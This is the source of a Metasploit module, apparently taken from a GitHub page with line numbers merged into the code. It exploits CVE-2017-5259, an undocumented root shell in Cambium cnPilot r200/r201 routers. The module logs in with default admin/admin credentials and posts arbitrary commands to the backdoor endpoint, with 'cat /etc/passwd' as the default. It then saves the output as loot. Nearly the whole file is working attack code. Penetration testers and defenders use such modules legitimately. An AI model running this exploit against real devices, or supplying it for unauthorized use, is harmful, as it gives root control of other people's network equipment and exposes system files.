Path: blob/master/modules/auxiliary/admin/http/cnpilot_r_cmd_exec.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::CNPILOT78def initialize(info = {})9super(10update_info(11info,12'Name' => "Cambium cnPilot r200/r201 Command Execution as 'root'",13'Description' => %q{14Cambium cnPilot r200/r201 device software versions 4.2.3-R4 to154.3.3-R4, contain an undocumented, backdoor 'root' shell. This shell is16accessible via a specific url, to any authenticated user. The module uses this17shell to execute arbitrary system commands as 'root'.18},19'Author' => [20'Karn Ganeshen <KarnGaneshen[at]gmail.com>'21],22'References' => [23['CVE', '2017-5259'],24['URL', 'https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/']25],26'License' => MSF_LICENSE,27'Notes' => {28'Stability' => [CRASH_SAFE],29'SideEffects' => [IOC_IN_LOGS],30'Reliability' => []31}32)33)3435register_options(36[37OptInt.new('TIMEOUT', [true, 'HTTP connection timeout', 10]),38Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.39OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'admin']),40OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'admin']),41OptString.new('CMD', [true, 'Command(s) to run', 'cat /etc/passwd'])42]43)4445deregister_options('DB_ALL_CREDS', 'DB_ALL_PASS', 'DB_ALL_USERS', 'USER_AS_PASS', 'USERPASS_FILE', 'USER_FILE', 'PASS_FILE', 'BLANK_PASSWORDS', 'BRUTEFORCE_SPEED', 'STOP_ON_SUCCESS')46end4748def run_host(_ip)49unless is_app_cnpilot?50return51end52end5354# command execution happens here5556def cmd_exec_run(the_cookie)57# Verify backdoor 'root' shell url exists58root_shell = (ssl ? 'https' : 'http').to_s + '://' + "#{rhost}:#{rport}" + '/adm/syscmd.asp'59print_status("#{rhost}:#{rport} - Checking backdoor 'root' shell...")6061res = send_request_cgi(62{63'uri' => '/adm/syscmd.asp',64'method' => 'GET',65'cookie' => the_cookie,66'headers' => {67'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'68}69}70)7172# Now POST the command73if res && res.code == 20074uri1 = '/goform/SystemCommand'75inject_cmd = datastore['CMD']76print_good("#{rhost}:#{rport} - You can access the 'root' shell at: #{root_shell}")77print_good("#{rhost}:#{rport} - Executing command - #{inject_cmd}")7879send_request_cgi(80{81'uri' => uri1,82'method' => 'POST',83'cookie' => the_cookie,84'headers' => {85'Accept' => '*/*',86'Accept-Language' => 'en-US,en;q=0.5',87'Accept-Encoding' => 'gzip, deflate',88'Connection' => 'keep-alive'89},90'vars_post' =>91{92'command' => inject_cmd,93'SystemCommandSubmit' => 'Apply'94}95}96)9798# Results are populated in the first url, so GET it once more99res = send_request_cgi(100{101'uri' => '/adm/syscmd.asp',102'method' => 'GET',103'cookie' => the_cookie,104'headers' => {105'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'106}107}108)109110html = Nokogiri::HTML(res.body)111search_result = html.search('textarea').text112113if search_result.nil?114print_status('Command run did not return any results or invalid command. Note that cnPilot devices only have a restricted *nix command-set.')115else116print_good(search_result.to_s)117118# w00t we got l00t119loot_name = 'cmd-exec-log'120loot_type = 'text/plain'121loot_desc = 'Cambium cnPilot CMD Exec Results'122data = search_result.to_s123p = store_loot(loot_name, loot_type, datastore['RHOST'], data, loot_desc)124print_good("File saved in: #{p}")125end126else127print_error("#{rhost}:#{rport} - Backdoor 'root' shell not found. Affected versions are - v4.2.3-R4 and newer. You can try to verify the shell at #{root_shell}")128return129end130end131132#133# Login & initiate cmd_exec_run134#135136def run_login137cookie, cnpilot_version = do_login(datastore['USERNAME'], datastore['PASSWORD'])138if cookie == 'skip' && cnpilot_version == 'skip'139return140elsif ['4.2.3-R4', '4.3.1-R1', '4.3.2-R4', '4.3.3-R4'].include?(cnpilot_version.to_s)141cmd_exec_run(cookie)142else143vprint_error("#{rhost}:#{rport} - This software version is not vulnerable. Affected versions are - v4.2.3-R4 and newer.")144end145end146end147148149